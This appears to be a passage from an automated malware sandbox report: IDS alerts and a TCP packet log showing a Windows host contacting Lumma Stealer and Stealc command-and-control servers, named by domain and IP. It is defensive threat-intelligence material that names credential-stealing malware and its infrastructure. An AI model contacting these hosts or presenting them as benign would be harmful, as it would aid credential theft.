2024-11-01T05:03:06.392085+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59923	188.114.96.3	443	TCP
2024-11-01T05:03:06.392085+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59923	188.114.96.3	443	TCP
2024-11-01T05:03:06.931994+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	59923	188.114.96.3	443	TCP
2024-11-01T05:03:06.931994+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	59923	188.114.96.3	443	TCP
2024-11-01T05:03:08.444020+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.5	59925	188.114.96.3	443	TCP
2024-11-01T05:03:08.444020+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	59925	188.114.96.3	443	TCP
2024-11-01T05:03:16.169865+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59926	185.215.113.206	80	TCP
2024-11-01T05:03:36.153325+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	59927	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 05:01:01.403784037 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:01.403829098 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:01.403919935 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:01.405071020 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:01.405086994 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.025342941 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.025424004 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.029217005 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.029227018 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.029481888 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.077130079 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.077130079 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.077209949 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.571502924 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.571569920 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.571623087 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.573116064 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.573133945 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.573143005 CET	49704	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.573148966 CET	443	49704	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.619249105 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.619291067 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:02.619369984 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.619708061 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:02.619723082 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:03.232911110 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:03.232985020 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:03.234689951 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:03.234699011 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:03.234936953 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:03.236237049 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:03.236257076 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:03.236298084 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.111748934 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.111792088 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.111892939 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.111912012 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.112626076 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.112698078 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.112708092 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.113400936 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.113421917 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.113461971 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.113471031 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.113533974 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.114136934 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.114810944 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.114875078 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.114882946 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.161674976 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.229851007 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.230361938 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.230386019 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.230443001 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.230456114 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.230514050 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.231060982 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.231129885 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.231190920 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.252451897 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.252465963 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.252492905 CET	49705	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.252501011 CET	443	49705	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.698580980 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.698628902 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:04.698698997 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.699522972 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:04.699537992 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.333129883 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.333249092 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.335115910 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.335127115 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.335701942 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.336972952 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.337191105 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.337224960 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.843902111 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.844089031 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.844155073 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.844222069 CET	49706	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.844238997 CET	443	49706	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.966789007 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.966819048 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:05.966888905 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.967417002 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:05.967427969 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:06.586370945 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:06.586460114 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:06.615154982 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:06.615170956 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:06.615386009 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:06.618145943 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:06.624017000 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:06.624044895 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:06.624115944 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:06.624121904 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:07.170911074 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:07.170993090 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:07.171066046 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:07.193061113 CET	49707	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:07.193077087 CET	443	49707	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:07.790426016 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:07.790478945 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:07.790644884 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:07.790944099 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:07.790963888 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:08.399185896 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:08.399353027 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:08.401321888 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:08.401331902 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:08.401531935 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:08.402955055 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:08.403096914 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:08.403131962 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:08.403192997 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:08.403203964 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:09.678858042 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:09.678936958 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:09.679033041 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:09.679426908 CET	49708	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:09.679445028 CET	443	49708	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:10.666335106 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:10.666373968 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:10.666441917 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:10.666789055 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:10.666800976 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:11.282532930 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:11.282674074 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:11.284424067 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:11.284435034 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:11.284657955 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:11.285934925 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:11.286040068 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:11.286045074 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:11.965256929 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:11.965367079 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:11.965431929 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:11.965509892 CET	49709	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:11.965526104 CET	443	49709	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:12.456775904 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:12.456823111 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:12.456912041 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:12.457386971 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:12.457405090 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.064328909 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.064452887 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.155504942 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.155524969 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.155951977 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.178966045 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.180871010 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.180990934 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181091070 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181129932 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181226015 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181335926 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181438923 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181472063 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181583881 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181619883 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181731939 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181746960 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181754112 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181765079 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181859016 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181874990 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.181890965 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.181998014 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.182024956 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.191602945 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.191778898 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.191812038 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.191814899 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.191833019 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.191842079 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.191888094 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:13.191917896 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:13.191946030 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:15.389874935 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:15.390001059 CET	443	49710	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:15.390079021 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:15.390125990 CET	49710	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:15.430459976 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:15.430504084 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:15.430599928 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:15.431041956 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:15.431055069 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.046027899 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.046173096 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:16.198427916 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:16.198453903 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.199157000 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.216397047 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:16.216428041 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:16.216583967 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.897998095 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.898104906 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.898179054 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:16.898310900 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:16.898346901 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.898365021 CET	49711	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:01:16.898375034 CET	443	49711	188.114.96.3	192.168.2.5
Nov 1, 2024 05:01:16.908807993 CET	49713	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:16.913836956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:16.913917065 CET	49713	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:16.914053917 CET	49713	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:16.918853045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:17.208854914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:17.226013899 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:17.230792999 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:17.230865002 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:17.230983973 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:17.235757113 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149625063 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149646997 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149676085 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149698973 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149713993 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149712086 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.149765015 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.149813890 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149830103 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149847031 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149861097 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.149893999 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.150031090 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.150082111 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.154536009 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.154587030 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.154609919 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.154633999 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.154716969 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.154856920 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.154907942 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.397959948 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.397995949 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398011923 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398057938 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.398101091 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398117065 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398130894 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398142099 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.398149014 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398166895 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.398387909 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398427963 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.398515940 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398531914 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398545980 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398561001 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398575068 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398585081 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.398595095 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398610115 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.398617983 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.398658991 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.424319029 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424351931 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424367905 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424413919 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.424420118 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424436092 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424457073 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.424541950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424580097 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.424663067 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424679041 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424716949 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.424845934 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424863100 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.424917936 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.425363064 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.459577084 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.459599972 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.459631920 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.459635973 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.459650993 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.459688902 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.543662071 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.543684959 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.543704033 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.543751955 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.543803930 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.543821096 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.543848038 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.543941975 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.543989897 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.544039965 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.544054985 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.544111967 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.544281006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.544372082 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.544388056 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.544413090 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.578876972 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.578937054 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.578936100 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.578952074 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.578998089 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.623307943 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.623332977 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.623394012 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.662714958 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.662729979 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.662745953 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.662812948 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.662862062 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.662878036 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.662893057 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.662918091 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.662969112 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.663353920 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.663414001 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.663439035 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.663475037 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.663753986 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.663814068 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.663852930 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.663867950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.664000034 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:18.697959900 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.698028088 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.698043108 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:18.698101997 CET	49715	80	192.168.2.5	185.215.113.16
